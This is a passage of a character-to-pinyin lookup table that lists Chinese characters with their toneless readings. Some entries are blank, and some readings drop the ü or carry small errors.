wu 勚 yi 勛 xun 勜 weng 勝 sheng 勞 lao 募 mu 勠 lu 勡 piao 勢 shi 勣 ji 勤 qin 勥 jiang 勦 jiao 勧 quan 勨 xiang 勩 yi 勪 qiao 勫 fan 勬 juan 勭 tong 勮 ju 勯 dan 勰 xie 勱 mai 勲 xun 勳 xun 勴 l 勵 li 勶 che 勷 rang 勸 quan 勹 bao 勺 shao 勻 yun 勼 jiu 勽 bao 勾 gou 勿 wu 匀 yun 匁 匂 xiong 匃 gai 匄 gai 包 bao 匆 cong 匇 匈 xiong 匉 peng 匊 ju 匋 tao 匌 ge 匍 pu 匎 e 匏 pao 匐 fu 匒 da 匓 jiu 匔 gong 匕 bi 化 hua 北 bei 匘 nao 匙 chi 匚 fang 匛 jiu 匜 yi 匝 za 匞 jiang 匟 kang 匠 jiang 匡 kuang 匢 hu 匣 xia 匤 qu 匥 fan 匦 gui 匧 qie 匨 zang 匩 kuang 匪 fei 匫 hu 匬 yu 匭 gui 匮 kui 匯 hui 匰 dan 匱 kui 匲 lian 匳 lian 匴 suan 匵 du 匶 jiu 匷 jue 匸 xi 匹 pi 区 ou,qu 医 yi 匼 ke 匽 yan 匾 bian 匿 ni 區 qu 十 shi 卂 xun 千 qian 卄 nian 卅 sa 卆 zu 升 sheng 午 wu 卉 hui 半 ban 卋 shi 卌 xi 卍 wan 华 hua 协 xie 卐 wan 卑 bei 卒 cu,zu 卓 zhuo 協 xie 单 shan,dan,chan 卖 mai 南 na,nan 単 dan 卙 ji 博 bo 卛 shuai 卜 bu 卝 guan 卞 bian 卟 bu 占 zhan 卡 ka,qia 卢 lu 卣 you 卤 lu 卥 xi 卦 gua 卧 wo 卨 xie 卩 jie 卪 jie 卫 wei 卬 ang,yang 卭 qiong 卮 zhi 卯 mao 印 yin 危 wei 卲 shao 即 ji 却 que 卵 luan 卶 chi 卷 quan,juan 卸 xie 卹 xu 卺 jin 卻 que 卼 wu 卽 ji 卾 e 卿 qing 厀 xi 厁 san 厂 an,chang 厃 wei 厄 e 厅 ting 历 li 厇 zhe 厈 han 厉 li 厊 ya 压 ya 厌 ya,yan 厍 she 厎 di 厏 zha 厐 pang 厑 厒 qie 厓 ya 厔 zhi 厖 mang 厗 ti 厘 li 厙 she 厚 hou 厛 ting 厜 zui 厝 cuo 厞 fei 原 yuan 厠 ce 厡 yuan 厢 xiang 厣 yan 厤 li 厥 jue 厦 xia,sha 厧 dian 厨 chu 厩 jiu 厪 jin 厫 ao 厬 gui 厭 yan 厮 si 厯 li 厰 chang 厱 qian 厲 li 厳 yan 厴 yan 厵 yuan 厶 si 厷 gong 厸 lin 厹 rou 厺 qu 去 qu 厼 厽 lei 厾 du 县 xian,xuan 叀 zhuan 叁 san 参 can,cen,san,shen 參 can 叄 can 叅 can 叆 ai 叇 dai 又 you 叉 cha 及 ji 友 you 双 shuang 反 fan 収 shou 叏 guai 叐 ba 发 fei,fa 叒 ruo 叓 li 叔 shu 叕 zhuo 取 qu 受 shou 变 bian 叙 xu 叚 jia 叛 pan 叜 sou 叝 ji 叞 wei 叟 sou 叠 die 叡 rui 叢 cong 口 kou 古 gu 句 gou,ju 另 ling 叧 gua 叨 tao,dao 叩 kou 只 zhi 叫 jiao 召 zhao 叭 ba,pa 叮 ding 可 ke 台 tai 叱 chi 史 shi 右 you 叴 qiu 叵 po 叶 she,xie,ye 号 hao 司 si 叹 tan 叺 chi 叻 le 叼 diao 叽 ji 叾 叿 hong 吀 mie 吁 xu,yu 吂 mang 吃 chi 各 ge 吅 xuan 吆 yao 吇 zi 合 ge,he 吉 ji 吊 diao 吋 dou 同 tong 名 ming 后 hou 吏 li 吐 tu 向 xiang 吒 zha 吓 he,xia 吔 ye 吕 l 吖 ya,a 吗 ma 吘 ou 吙 huo 吚 yi 君 jun 吜 chou 吝 lin 吞 tun 吟 yin 吠 fei 吡 pi,bi 吢 qin 吣 qin 吤 jie 吥 bu 否 fou,pi 吧 ba 吨 dun 吩 fen 吪 e 含 han 听 ting 吭 hang,keng 吮 shun 启 qi 吰 hong 吱 zhi,zi 吲 yin 吳 wu 吴 wu 吵 chao 吶 na 吷 xue 吸 xi 吹 chui 吺 dou 吻 wen 吼 hou 吽 hong 吾 wu 吿 呀 ya 呁 jun 呂 l 呃 e 呄 ge 呅 wen 呆 dai 呇 qi 呈 cheng 呉 wu 告 gao 呋 fu 呌 jiao 呍 hong 呎 chi 呏 sheng 呐 na,ne 呑 tun 呒 呓 yi 呔 dai,tai 呕 ou 呖 li 呗 bai 员 yun,yuan 呙 guo 呚 hua 呛 qiang 呜 wu 呝 e 呞 shi 呟 juan 呠 pen 呡 wen 呢 ni 呣 呤 ling 呥 ran 呦 you 呧 di 周 zhou 呩 shi 呪 zhou 呫 tie 呬 xi 呭 yi 呮 qi 呯 ping 呰 zi 呱 gua,gu 呲 ci 味 wei 呴 xu 呵 a,ha,he,ke 呶 nao,nu 呷 xia,ga 呸 pei 呹 yi 呺 xiao 呻 shen 呼 hu 命 ming 呾 da 呿 qu 咀 ju,zui 咁 xian 咂 za 咃 tuo 咄 duo 咅 pou 咆 pao 咇 bi 咈 fu 咉 yang 咊 he 咋 za,ze,zha 和 huo,hu,he 咍 hai 咎 jiu 咏 yong 咐 fu 咑 da 咒 zhou 咓 wa 咔 ka 咕 gu 咖 ka,ga 咗 咘 bu 咙 long 咚 dong 咛 ning 咜 tuo 咝 si 咞 咟 huo 咠 qi 咡 er 咣 guang 咤 zha,cha 咥 die,xi 咦 yi 咧 lie 咨 zi 咩 mie 咪 mi 咫 zhi 咬 yao 咭 ji 咮 zhou 咯 luo,ka,ge 咰 shu 咱 zan 咲 xiao 咳 ke,hai 咴 hui 咵 kua 咶 guo 咷 tao 咸 xian 咹 e 咺 xuan 咻 xiu 咼 wai 咽 ye,yan 咾 lao 咿 yi 哀 ai 品 pin 哂 shen 哃 tong 哄 hong 哅 xiong 哆 duo 哇 wa 哈 ha 哉 zai 哊 you 哋 die 哌 pai 响 xiang 哎 ai 哏 gen,hen 哐 kuang 哑 ya 哒 da 哓 xiao 哔 bi 哕 hui,yue 哖 nian 哗 hua 哘 哙 kuai 哚 duo 哛 哜 ji 哝 nong 哞 mou 哟 yo 哠 hao 員 yuan 哢 long 哣 pou 哤 mang 哥 ge 哦 e,o 哧 chi 哨 shao 哩 li,yingl,y,yingli 哪 na,nai,ne,nei 哫 zu 哬 he 哭 ku 哮 xiao 哯 xian 哰 lao 哱 bo 哲 zhe 哳 zha 哴 liang 哵 ba 哶 mie 哷 lie 哸 sui 哹 fu 哺 bu 哻 han 哼 heng 哽 geng 哾 chuo 哿 ge 唀 you 唁 yan 唂 gu 唃 gu 唄 唅 han 唆 suo 唇 chun 唈 yi 唉 ai 唊 jia 唋 tu 唌 dan 唍 wan 唎 唏 xi 唐 tang 唑 zuo 唒 qiu 唓 che 唔 wu 唕 zao 唖 ya 唗 dou 唘 qi 唙 di 唚 qin 唛 ma 唜 唝 gong,hong 唞 dou 唟 唠 lao 唡 liang 唢 suo 唣 zao 唤 huan 唥 leng 唦 sha 唧 ji 唨 zu 唩 wo 唪 feng 唫 jin 唬 hu,xia 唭 qi 售 shou 唯 wei 唰 shua 唱 chang 唲 er 唳 li 唴 qiang 唵 an 唶 jie 唷 yo 唸 nian 唹 yu 唺 tian 唻 lai 唼 sha 唽 xi 唾 tuo 唿 hu 啀 ai 啁 zhao,zhou 啂 gou 啃 ken 啄 zhuo 啅 zhuo 商 shang 啇 di 啈 heng 啉 lin 啊 a 啋 cai 啌 qiang 啍 zhun 啎 wu 問 wen 啐 cui 啑 sha,ti 啒 gu 啓 qi 啔 qi 啕 tao 啖 dan 啗 dan 啘 wa 啙 zi 啚 bi 啛 cui 啜 chuai,chuo 啝 he 啞 ya 啟 qi 啠 zhe 啡 fei 啢 liang 啣 xian 啤 pi 啥 sha 啦 la 啧 ze 啨 qing 啩 gua 啪 pa 啫 ze 啬 se 啭 zhuan 啮 nie 啯 guo 啰 luo 啱 yan 啲 di 啳 quan 啴 tan 啵 bo 啶 ding 啷 lang 啸 xiao 啹 ju 啺 tang 啻 chi 啼 ti 啽 an 啾 jiu 啿 dan 喀 ka 喁 yong,yu 喂 wei 喃 nan 善 shan 喅 yu 喆 zhe 喇 la 喈 jie 喉 hou 喊 han 喋 die,zha 喌 zhou 喍 chai 喎 wai 喏 nuo,re 喐 huo 喑 yin 喒 zan 喓 yao 喔 wo 喕 mian 喖 hu 喗 yun 喘 chuan 喙 hui 喚 huan 喛 huan 喜 xi 喝 he 喞 ji 喟 kui 喠 zhong 喡 wei 喢 sha 喣 xu 喤 huang 喥 duo 喦 yan 喧 xuan 喨 liang 喩 yu 喪 sang 喫 chi 喬 qiao 喭 yan 單 dan 喯 pen 喰 can 喱 li 喲 yo 喳 zha,cha 喴 wei 喵 miao 営 ying 喷 pen 喸 喹 kui 喺 xi 喻 yu 喼 jie 喽 lou 喾 ku 喿 zao 嗀 hu 嗁 ti 嗂 yao 嗃 he 嗄 a,sha 嗅 xiu 嗆 qiang 嗇 se 嗈 yong 嗉 su 嗊 gong 嗋 xie 嗌 ai,yi 嗍 suo 嗎 ma 嗏 cha 嗐 hai 嗑 ke 嗒 da,ta 嗓 sang 嗔 chen,tian 嗕 ru 嗖 sou 嗗 wa 嗘 ji 嗙 pang 嗚 wu 嗛 xian,qian 嗜 shi 嗝 ge 嗞 zi 嗟 jie 嗠 lao 嗡 weng 嗢 wa 嗣 si 嗤 chi 嗥 hao 嗦 嗧 嗨 hai,hei 嗩 suo 嗪 qin 嗫 nie 嗬 he 嗭 嗮 嗯 嗰 ge 嗱 na 嗲 dia 嗳 ai 嗴 qiang 嗵 tong 嗶 bi 嗷 ao 嗸 ao 嗹 lian 嗺 zui 嗻 zhe 嗼 mo 嗽 sou 嗾 sou 嗿 tan 嘀 di 嘁 qi 嘂 jiao 嘃 chong 嘄 jiao 嘅 kai 嘇 shan 嘈 cao 嘉 jia 嘊 ai 嘋 xiao 嘌 piao 嘍 lou 嘎 ga 嘏 gu,jia 嘐 xiao 嘑 hu 嘒 hui 嘓 guo 嘔 ou 嘕 xian 嘖 ze 嘗 chang 嘘 shi,xu 嘙 po 嘚 dei,de 嘛 嘜 ma 嘝 hu 嘞 le 嘟 du 嘠 ga 嘡 tang 嘢 ye 嘣 beng 嘤 ying 嘥 sai 嘦 jiao 嘧 mi 嘨 xiao 嘩 hua 嘪 mai 嘫 ran 嘬 chuai,zuo 嘭 peng 嘮 lao 嘯 xiao 嘰 ji 嘱 zhu 嘲 chao,zhao 嘳 kui 嘴 zui 嘵 xiao 嘶 si 嘷 hao 嘸 fu 嘹 liao 嘺 qiao 嘻 xi 嘼 chu 嘽 tan 嘾 dan 嘿 hei,mo 噀 xun 噁 e 噂 zun 噃 fan 噄 chi 噅 hui 噆 zan 噇 chuang 噈 cu 噉 dan 噊 jue 噋 tun 噌 cheng,ceng 噍 jiao 噎 sha,ye 噏 xi 噐 qi 噑 hao 噒 lian 噓 xu 噔 deng 噕 hui 噖 yin 噗 pu 噘 jue 噙 qin 噚 xun 噛 nie 噜 lu 噝 si 噞 yan 噟 ying 噠 da 噡 zhan 噢 o 噣 zhou 噤 jin 噥 nong 噦 yue 噧 xie 器 qi 噩 e 噪 zao 噫 yi,ai 噬 shi 噭 jiao 噮 yuan 噯 ai 噰 yong 噱 xue,jue 噲 kuai 噳 yu 噴 pen 噵 dao 噶 ga 噷 xin 噸 dun 噹 dang 噺 噻 sai 噼 pi 噽 pi 噾 yin 噿 zui 嚀 ning 嚁 di 嚂 lan 嚃 ta 嚄 huo 嚅 ru 嚆 hao 嚇 he 嚈 yan 嚉 duo 嚊 xiu 嚋 zhou 嚌 ji 嚍 jin 嚎 hao 嚏 ti 嚐 chang 嚑 嚒 嚓 cha,ca 嚔 ti 嚕 lu 嚖 hui 嚗 bo 嚘 you 嚙 nie 嚚 yin 嚛 hu 嚜 嚝 hong 嚞 zhe 嚟 li 嚠 liu 嚡 xie 嚢 nang 嚣 ao,xiao 嚤 mo 嚥 yan 嚦 li 嚧 lu 嚨 long 嚩 po 嚪 dan 嚫 chen 嚬 pin 嚭 pi 嚮 xiang 嚯 huo 嚰 嚱 xi 嚲 duo 嚳 ku 嚴 yan 嚵 chan 嚶 ying 嚷 rang 嚸 嚹 la 嚺 ta 嚻 xiao 嚼 jue,jiao 嚽 chuo 嚾 huan 嚿 huo 囀 zhuan 囁 nie 囂 xiao 囃 za 囄 li 囅 chan 囆 chai 囇 li 囈 yi 囉 luo 囊 nang 囋 za,zan 囌 su 囍 xi 囎 zeng 囏 jian 囐 yan 囑 zhu 囒 lan 囓 nie 囔 nang 囕 囖 luo 囗 wei 囘 hui 囙 yin 囚 qiu 四 si 囜 nin 囝 jian,nan 回 hui 囟 xin 因 yin 囡 nan 团 tuan 団 tuan 囤 dun,tun 囥 kang 囦 yuan 囧 jiong 囨 pian 囩 yun 囪 cong 囫 hu 囬 hui 园 yuan 囮 e 囯 guo 困 kun 囱 cong 囲 wei 図 tu 围 wei 囵 lun 囶 guo 囷 qun 囸 ri 囹 ling 固 gu 囻 guo 囼 tai 国 guo 图 tu 囿 you 圀 guo 圁 yin 圂 hun 圃 pu 圄 yu 圅 han 圆 yuan 圇 lun 圈 juan,quan 圉 yu 圊 qing 國 guo 圌 chui 圍 wei 圎 yuan 圏 quan 圐 ku 圑 pu 圓 yuan 圔 ya 圕 tuan 圖 tu 圗 tu 團 tuan 圙 l 圚 hui 圛 yi 圜 yuan,huan 圝 luan 圞 luan 土 tu 圠 ya 圡 tu 圢 ting 圣 sheng 圤 pu 圥 lu 圦 圧 ya 在 zai 圩 wei,xu 圪 ge 圫 yu 圬 wu 圭 gui 圮 pi 圯 yi 地 di 圱 qian 圲 qian 圳 zhen 圴 zhuo 圵 dang 圶 qia 圷 圸 圹 kuang 场 chang 圻 yin,qi 圼 nie 圽 mo 圾 ji 圿 jia 址 zhi 坁 zhi 坂 ban 坃 xun 坄 yi 坅 qin 坆 mei 均 jun 坈 rong 坉 tun 坊 fang 坋 fen 坌 ben 坍 tan 坎 kan 坏 huai 坐 zuo 坑 keng 坒 bi 坓 jing 坔 di 坕 jing 坖 ji 块 kuai 坘 di 坙 jing 坚 jian 坛 tan 坜 li 坝 ba 坞 wu 坟 fen 坠 zhui 坡 po 坢 ban,pan 坣 tang 坤 kun 坥 qu 坦 tan 坧 zhi 坨 tuo 坩 gan 坪 ping 坫 dian 坬 gua 坭 ni 坮 tai 坯 pi 坰 jiong 坱 yang 坲 fo 坳 ao 坴 lu 坵 qiu 坶 mu 坷 ke 坸 gou 坹 xue 坺 fa 坻 chi,di 坼 che 坽 ling 坾 zhu 坿 fu 垀 hu 垁 zhi 垂 chui 垃 la 垄 long 垅 long 垆 lu 垇 ao 垈 dai 垉 pao 垊 型 xing 垌 dong,tong 垍 ji 垎 he 垏 l 垐 ci 垑 chi 垒 lei 垓 gai 垔 yin 垕 hou 垖 dui 垗 zhao 垘 fu 垙 guang 垚 yao 垛 duo 垜 duo 垝 gui 垞 cha 垟 yang 垠 yin 垡 fa 垢 gou 垣 yuan 垤 die 垥 xie 垦 ken 垧 shang 垨 shou 垩 e 垪 垫 dian 垬 hong 垭 ya 垮 kua 垯 da 垰 垱 dang 垲 kai 垳 垴 nao 垵 an 垶 xing 垷 xian 垸 yuan 垹 bang 垺 pou 垻 ba 垼 yi 垽 yin 垾 han 垿 xu 埀 chui 埁 cen 埂 geng 埃 ai 埄 beng 埅 di 埆 que 埇 yong 埈 jun 埉 xia 埊 di 埋 mai,man 埌 lang 埍 juan 城 cheng 埏 yan 埐 qin 埑 zhe 埒 lie 埓 lie 埔 bu,pu 埕 cheng 埖 埗 bu 埘 shi 埙 xun 埚 guo 埛 jiong 埜 ye 埝 nian 埞 di 域 yu 埠 bu 埡 ya 埢 quan 埣 sui 埤 pi 埥 qing 埦 wan 埧 ju 埨 lun 埩 zheng 埪 kong 埫 chong 埬 dong 埭 dai 埮 tan 埯 an 埰 cai 埱 chu 埲 beng 埳 xian 埴 zhi 埵 duo 埶 yi 執 zhi 埸 yi 培 pei 基 ji 埻 zhun 埼 qi 埽 sao 埾 ju 埿 ni 堀 ku 堁 ke 堂 tang 堃 kun 堄 ni 堅 jian 堆 dui 堇 jin 堈 gang 堉 yu 堊 e 堋 peng 堌 gu 堍 tu 堎 leng 堏 堐 ya 堑 qian 堒 堓 an 堔 堕 duo,hui 堖 nao 堗 tu 堘 cheng 堙 yin 堚 huan 堛 bi 堜 lian 堝 guo 堞 die 堟 zhuan 堠 hou 堡 pu,bu,bao 堢 bao 堣 yu 堤 di 堥 mao 堦 jie 堧 ruan 堨 e 堩 geng 堪 kan 堫 zong 堬 yu 堭 huang 堮 e 堯 yao 堰 yan 報 bao 堲 ji 堳 mei 場 chang 堵 du 堶 tuo 堷 yin 堸 feng 堹 zhong 堺 jie 堻 jin 堼 feng 堽 gang 堿 jian 塀 ping 塁 lei 塂 jiang 塃 huang 塄 leng 塅 duan 塆 wan 塇 xuan 塈 xi 塉 ji 塊 kuai 塋 ying 塌 ta 塍 cheng 塎 yong 塏 kai 塐 su 塑 su 塒 shi 塓 mi 塔 ta 塕 weng 塖 cheng 塗 tu 塘 tang 塙 que 塚 zhong 塛 li 塜 peng 塝 bang 塞 se,sai 塟 zang 塠 dui 塡 tian 塢 wu 塣 zheng 塤 xun 塥 ge 塦 zhen 塧 ai 塨 gong 塩 yan 塪 xian 填 tian 塬 yuan 塭 塮 xie 塯 liu 塰 塱 lang 塲 chang 塳 peng 塴 beng 塵 chen 塶 lu 塷 lu 塸 ou 塹 qian 塺 mei 塻 mo 塼 zhuan 塽 shuang 塾 shu 塿 lou 墀 chi 墁 man 墂 biao 境 jing 墄 qi 墅 shu 墆 zhi 墇 zhang 墈 kan 墉 yong 墊 dian 墋 chen 墌 zhi 墍 xi 墎 guo 墏 qiang 墐 jin 墑 di 墒 shang 墓 mu 墔 cui 墕 yan 墖 ta 増 zeng 墘 qian 墙 qiang 墚 liang 墛 墜 zhui 墝 qiao 增 zeng 墟 xu 墠 shan 墡 shan 墢 fa 墣 pu 墤 kuai 墥 tuan 墦 fan 墧 qiao 墨 mo 墩 dun 墪 dun 墫 cun 墬 di 墭 sheng 墮 duo 墯 duo 墰 tan 墱 deng 墲 wu 墳 fen 墴 huang 墵 tan 墶 da 墷 ye 墸 墹 墺 ao 墻 qiang 墼 ji 墽 qiao 墾 ken 墿 yi 壀 pi 壁 bi 壂 dian 壃 jiang 壄 ye 壅 yong 壆 xue 壇 tan 壈 lan 壉 ju 壊 huai 壋 dang 壌 rang 壍 qian 壎 xun 壏 xian 壐 xi 壑 he 壒 ai 壓 ya 壔 dao 壕 hao 壖 ruan 壗 壘 lei 壙 kuang 壚 lu 壛 yan 壜 tan 壝 wei 壞 huai 壟 long 壠 long 壡 rui 壢 li 壣 lin 壤 rang 壥 chan 壦 xun 壧 yan 壨 lei 壩 ba 壪 wan 士 shi 壬 ren 壭 壮 zhuang 壯 zhuang 声 sheng 壱 yi 売 mai 壳 ke,qiao 壴 zhu 壵 zhuang 壶 hu 壷 hu 壸 kun 壹 yi 壺 hu 壻 xu 壼 kun 壽 shou 壾 mang 壿 夀 shou 夁 yi 夂 zhi 夃 gu 处 chu 夅 jiang 夆 feng 备 bei 夈 zhai 変 bian 夊 sui 夋 qun 夌 ling 复 fu 夎 cuo 夏 xia 夐 xiong 夑 xie 夒 nao 夓 xia 夔 kui 夕 xi 外 wai 夗 yuan 夘 mao 夙 su 多 duo 夛 duo 夜 ye 夝 qing 夞 够 gou 夠 gou 夡 qi 夢 meng 夣 meng 夤 yin 夥 huo 夦 chen 大 dai,da 夨 ce 天 tian 太 tai 夫 fu 夬 guai 夭 ao,yao 央 yang 夯 ben,hang 夰 gao 失 shi 夲 tao 夳 tai 头 tou 夵 yan 夶 bi 夷 yi 夸 kua 夹 ga,jia 夺 duo 夻 hua 夼 kuang 夾 jia 夿 ba 奀 en 奁 lian 奂 huan 奃 di 奄 yan 奅 pao 奆 juan 奇 ji,qi 奈 nai 奉 feng 奊 xie 奋 fen 奌 dian 奍 quan 奎 kui 奏 zou 奐 huan 契 qi,xie 奒 kai 奓 zha 奔 ben 奕 yi 奖 jiang 套 tao 奘 zang,zhuang 奙 ben 奚 xi 奛 huang 奜 fei 奝 diao 奞 xun 奟 beng 奠 dian 奡 ao 奢 sha,she 奣 weng 奤 ha 奥 ao 奦 wu 奧 ao 奨 jiang 奩 lian 奪 duo 奫 yun 奬 jiang 奭 shi 奮 fen 奯 huo 奰 bi 奱 luan 奲 duo 女 n 奴 nu 奵 ding 奶 nai 奷 qian 奸 jian,gan 她 ta 奺 jiu 奻 nuan 奼 cha 好 hao 奾 xian 奿 fan 妀 ji 妁 shuo 如 ru 妃 fei 妄 wang 妅 hong 妆 zhuang 妇 fu 妈 ma 妉 dan 妊 ren 妋 fu 妌 jing 妍 yan 妎 hai 妏 wen 妐 zhong 妑 pa 妒 du 妓 ji 妔 keng 妕 zhong 妖 yao 妗 jin 妘 yun 妙 miao 妚 fou 妛 chi 妜 yue 妝 zhuang 妞 niu 妟 yan 妠 na 妡 xin 妢 fen 妣 bi 妤 yu 妥 tuo 妦 feng 妧 wan 妨 fang 妩 wu 妪 yu 妫 gui 妬 du 妭 ba 妮 ni 妯 zhou 妰 zhuo 妱 zhao 妲 da 妳 ni 妴 yuan 妵 tou 妶 xian 妷 zhi 妸 e 妹 mei 妺 mo 妻 qi 妼 bi 妽 shen 妾 qie 妿 e 姀 he 姁 xu 姂 fa 姃 zheng 姄 min 姅 ban 姆 mu 姇 fu 姈 ling 姉 zi 姊 zi 始 shi 姌 ran 姍 shan 姎 yang 姏 gan 姐 jie 姑 gu 姒 si 姓 xing 委 wei 姕 zi 姖 ju 姗 shan 姘 pin 姙 ren 姚 yao 姛 dong 姜 jiang 姝 shu 姞 ji 姟 gai 姠 xiang 姡 hua 姢 juan 姣 jiao 姤 gou 姥 lao,mu 姦 jian 姧 jian 姨 yi 姩 nian 姪 zhi 姫 zhen 姬 ji 姭 xian 姮 heng 姯 guang 姰 jun 姱 kua 姲 yan 姳 ming 姴 lie 姵 pei 姶 e 姷 you 姸 yan 姹 cha 姺 shen 姻 yin 姼 shi 姽 gui 姾 quan 姿 zi 娀 song 威 wei 娂 hong 娃 wa 娄 lou 娅 ya 娆 rao 娇 jiao 娈 luan 娉 pin,ping 娊 xian 娋 shao 娌 li 娍 cheng 娎 xie 娏 mang 娐 fu 娑 suo 娒 wu 娓 wei 娔 ke 娕 chuo 娖 chuo 娗 ting 娘 nian 娙 xing 娚 nan 娛 yu 娜 na,nuo 娝 pou 娞 nei 娟 juan 娠 shen 娡 zhi 娢 han 娣 di 娤 zhuang 娥 e 娦 pin 娧 tui 娨 man 娩 mian 娪 wu 娫 yan 娬 wu 娭 ai,xi 娮 yan 娯 yu 娰 si 娱 yu 娲 wa 娳 li 娴 xian 娵 ju 娶 qu 娷 zhui 娸 qi 娹 xian 娺 zhuo 娻 dong 娼 chang 娽 lu 娾 ai 娿 e 婀 e 婁 lou 婂 mian 婃 cong 婄 pou 婅 ju 婆 po 婇 cai 婈 ling 婉 wan 婊 biao 婋 xiao 婌 shu 婍 qi 婎 hui 婏 fu 婐 wo 婑 wo 婒 tan 婓 fei 婔 fei 婕 jie 婖 tian 婗 ni 婘 quan 婙 jing 婚 hun 婛 jing 婜 qian 婝 dian 婞 xing 婟 hu 婠 wan 婢 bi 婣 yin 婤 zhou 婥 chuo 婦 fu 婧 jing 婨 lun 婩 an 婪 lan 婫 hun 婬 yin 婭 ya 婮 ju 婯 li 婰 dian 婱 xian 婲 婳 hua 婴 ying 婵 chan 婶 shen 婷 ting 婸 dang 婹 yao 婺 wu 婻 nan 婼 ruo,chuo 婽 jia 婾 tou 婿 xu 媀 yu 媁 wei 媂 di 媃 rou 媄 mei 媅 dan 媆 ruan 媇 qin 媈 hui 媉 wo 媊 qian 媋 chun 媌 miao 媍 fu 媎 jie 媏 duan 媐 yi 媑 zhong 媒 mei 媓 huang 媔 mian 媕 an 媖 ying 媗 xuan 媘 jie 媙 wei 媚 mei 媛 yuan 媜 zheng 媝 qiu 媞 ti 媟 xie 媠 duo 媡 lian 媢 mao 媣 ran 媤 si 媥 pian 媦 wei 媧 wa 媨 cu 媩 hu 媪 ao 媫 jie 媬 bao 媭 xu 媮 tou 媯 gui 媰 chu 媱 yao 媲 pi 媳 xi 媴 yuan 媵 ying 媶 rong 媷 ru 媸 chi 媹 liu 媺 mei 媻 pan 媼 ao 媽 ma 媾 gou 媿 kui 嫀 qin 嫁 jia 嫂 sao 嫃 zhen 嫄 yuan 嫅 jie 嫆 rong 嫇 ming 嫈 ying 嫉 ji 嫊 su 嫋 niao 嫌 xian 嫍 tao 嫎 pang 嫏 lang 嫐 nao 嫑 biao 嫒 ai 嫓 pi 嫔 pin 嫕 yi 嫖 piao 嫗 yu 嫘 lei 嫙 xuan 嫚 man 嫛 yi 嫜 zhang 嫝 kang 嫞 yong 嫟 ni 嫠 li 嫡 di 嫢 gui 嫣 yan 嫤 jin 嫥 zhuan 嫦 chang 嫧 ze 嫨 han 嫩 nen 嫪 lao 嫫 mo 嫬 zhe 嫭 hu 嫮 hu 嫯 ao 嫰 nen 嫱 qiang 嫲 ma 嫳 pie 嫴 gu 嫵 wu 嫶 qiao 嫷 tuo 嫸 zhan 嫹 miao 嫺 xian 嫻 xian 嫼 mo 嫽 liao 嫾 lian 嫿 hua 嬀 gui 嬁 deng 嬂 zhi 嬃 xu 嬄 yi 嬅 hua 嬆 xi 嬇 kui 嬈 rao 嬉 xi 嬊 yan 嬋 chan 嬌 jiao 嬍 mei 嬎 fan 嬏 fan 嬐 xian 嬑 yi 嬒 hui 嬓 jiao 嬔 fu 嬕 shi 嬖 bi 嬗 shan 嬘 sui 嬙 qiang 嬚 lian 嬛 huan 嬜 xin 嬝 niao 嬞 dong 嬟 yi 嬠 can 嬡 ai 嬢 niang 嬣 ning 嬤 mo 嬥 tiao 嬦 chou 嬧 jin 嬨 ci 嬩 yu 嬪 pin 嬫 rong 嬬 ru 嬭 nai 嬮 yan 嬯 tai 嬰 ying 嬱 qian 嬲 niao 嬳 yue 嬴 ying 嬵 mian 嬶 嬷 mo 嬸 shen 嬹 xing 嬺 ni 嬻 du 嬼 liu 嬽 yuan 嬾 lan 嬿 yan 孀 shuang 孁 ling 孂 jiao 孃 niang 孄 lan 孅 xian 孆 ying 孇 shuang 孉 huan 孊 mi 孋 li 孌 luan 孍 yan 孎 zhu 孏 lan 子 zi 孑 jie 孒 jue 孓 jue 孔 kong 孕 yun 孖 ma,zi 字 zi 存 cun 孙 sun 孚 fu 孛 bei,bo 孜 zi 孝 xiao 孞 xin 孟 meng 孠 si 孡 tai 孢 bao 季 ji 孤 gu 孥 nu 学 xue 孧 孨 zhuan 孩 hai 孪 luan 孫 sun 孬 nao 孭 mie 孮 cong 孯 qian 孰 shu 孱 can,chan 孲 ya 孳 zi 孴 ni 孵 fu 孶 zi 孷 li 學 xue 孹 bo 孺 ru 孻 nai 孼 nie 孽 nie 孾 ying 孿 luan 宀 mian 宁 zhu,ning 宂 rong 它 ta 宄 gui 宅 zhai 宆 qiong 宇 yu 守 shou 安 an 宊 tu 宋 song 完 wan 宍 rou 宎 yao 宏 hong 宐 yi 宑 jing 宒 zhun 宓 mi 宔 zhu 宕 dang 宖 hong 宗 zong 官 guan 宙 zhou 定 ding 宛 wan 宜 yi 宝 bao 实 shi 実 shi 宠 chong 审 shen 客 ke 宣 xuan 室 shi 宥 you 宦 huan 宧 yi 宨 tiao 宩 shi 宪 xian 宫 gong 宬 cheng 宭 qun 宮 gong 宯 xiao 宰 zai 宱 zha 宲 bao 害 hai,he 宴 yan 宵 xiao 家 gu,jia 宷 cai 宸 chen 容 rong 宺 huang 宻 mi 宼 kou 宽 kuan 宾 bin 宿 su,xiu 寀 cai 寁 zan 寂 ji 寃 yuan 寄 ji 寅 yin 密 mi 寇 kou 寈 qing 寉 he 寊 zhen 寋 jian 富 fu 寍 ning 寎 bing 寏 huan 寐 mei 寑 qin 寒 han 寓 yu 寔 shi 寕 ning 寖 jin 寗 ning 寘 zhi 寙 yu 寚 bao 寛 kuan 寜 ning 寝 qin 寞 mo 察 cha 寠 ju 寡 gua 寢 qin 寣 hu 寤 wu 寥 liao 實 shi 寧 ning 寨 zhai 審 shen 寪 wei 寫 xie 寬 kuan 寭 hui 寮 liao 寯 jun 寰 huan 寱 yi 寲 yi 寳 bao 寴 qin 寵 chong 寶 bao 寷 feng 寸 cun 对 dui 寺 si 寻 xun 导 dao 寽 lue 対 dui 寿 shou 尀 po 封 feng 専 zhuan 尃 fu 射 she 尅 kei 将 jiang,qiang 將 jiang 專 zhuan 尉 wei,yu 尊 zun 尋 xun 尌 shu 對 dui 導 dao 小 xiao 尐 jie 少 shao 尒 er 尓 er 尔 er 尕 ga 尖 jian 尗 shu 尘 chen 尙 shang 尚 shang 尛 mo 尜 ga 尝 chang 尞 liao 尟 xian 尠 xian 尡 hun 尢 wang,you 尣 wang 尤 you 尥 liao 尦 liao 尧 yao 尨 mang,meng 尩 wang 尪 wang 尫 wang 尬 ga 尭 yao 尮 duo 尯 kui 尰 zhong 就 jiu 尲 gan 尳 gu 尴 gan 尵 tui 尶 gan 尷 gan 尸 shi 尹 yin 尺 che,chi 尻 kao 尼 ni 尽 jin 尾 wei,yi 尿 niao,sui 局 ju 屁 pi 层 ceng 屃 xi 屄 bi 居 ju 屆 jie 屇 tian 屈 qu 屉 ti 届 jie 屋 wu 屌 diao 屍 shi 屎 shi 屏 ping,bing 屐 ji 屑 xie 屒 zhen 屓 xi 屔 ni 展 zhan 屖 xi 屗 屘 man 